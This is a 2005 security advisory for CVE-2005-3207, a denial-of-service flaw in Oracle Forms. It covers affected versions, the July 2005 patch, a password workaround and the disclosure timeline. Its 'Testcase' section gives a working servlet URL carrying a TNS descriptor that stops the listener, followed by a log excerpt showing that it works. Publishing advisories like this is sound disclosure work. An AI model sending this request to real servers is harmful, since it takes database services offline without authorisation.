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Arrow  Topic :

Shutdown TNS Listener via Oracle Forms Servlet


Arrow  SecurityAlert : 65
Arrow  CVE : CVE-2005-3207
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Alexander Kornbrust
Arrow  Published : 07.10.2005

Arrow  Affected Software : Oracle Forms



Arrow  Advisory Content :  

Shutdown TNS Listener via Oracle Forms Servlet
##############################################

Name Shutdown TNS Listener via Oracle Forms Servlet
Systems Affected Oracle Forms
Severity Medium Risk
Category Denial of Service
Vendor URL http://www.oracle.com
This advisory
http://www.red-database-security.com/advisory/oracle_forms_shutdown.html

Author Alexander Kornbrust (ak at red-database-security.com)
Date 7 October 2005 (V 1.00)

Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener.

Affected Products
#################
Oracle Forms

Testcase
#########
http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(
DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521
)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&de
bug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES

Excerpt from the listener.log:

28-OCT-2003 14:44:46 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:oracleor
adev9ibinifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0

Affected systems
#################
All versions of Oracle Forms until CPU July 2005.

Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle forgot to inform Red-Database-Security that this bug is fixed with
CPU July 2005.

Workaround
##########
Protect the TNS Listener with a password.

History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security that this bug is already fixed.

07-oct-2005 Red-Database-Security published this advisory

© 2005 by Red-Database-Security GmbH - last update 7-october-2005





Arrow  Feedback :

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